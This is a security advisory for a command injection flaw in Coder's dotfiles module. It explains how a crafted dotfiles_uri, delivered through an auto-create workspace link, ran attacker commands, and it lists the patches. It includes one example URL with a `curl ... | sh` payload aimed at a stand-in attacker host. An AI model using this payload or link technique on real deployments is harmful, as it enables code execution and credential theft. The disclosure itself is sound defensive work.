# Command injection via dotfiles URI parameter combined with workspace auto-creation ## Summary The `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page's `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation. ## Details ### Command injection in the dotfiles module (root cause) The [dotfiles module](https://github.com/coder/registry/tree/main/registry/coder/modules/dotfiles) interpolated the user-provided `dotfiles_uri` value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution (`$(...)`), command separators (`;`, `|`, `&&`), or backticks were interpreted before the `coder dotfiles` CLI was invoked. The Coder CLI itself uses `exec.CommandContext()` with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted `dotfiles_uri` obtained arbitrary code execution in their workspace, even without `mode=auto`. ### Auto-creation amplification (`mode=auto`) The Create Workspace page supported a `mode=auto` query parameter that, combined with `param.*` URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, `param.dotfiles_uri`). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack. Example URL: ``` https://<deployment>/templates/<template>/workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com ``` ## Impact Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With `mode=auto`, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module. ## Patches ### coder/registry (primary fix) Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminates the command injection at its source. - https://github.com/coder/registry/pull/703 ### coder/coder (defense-in-depth) A consent dialog was added that displays all prefilled `param.*` values and blocks creation until the user explicitly clicks **Confirm and Create**. This removes the `mode=auto` one-click amplification vector. - Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR [#22011](https://github.com/coder/coder/pull/22011)) - Patched releases: - [v2.29.7](https://github.com/coder/coder/releases/tag/v2.29.7) (ESR) - [v2.30.2](https://github.com/coder/coder/releases/tag/v2.30.2) (mainline) ### Recognition We'd like to thank [Aviv Donenfeld](https://github.com/avivdon) for responsibly disclosing this issue in accordance with https://coder.com/security/policy

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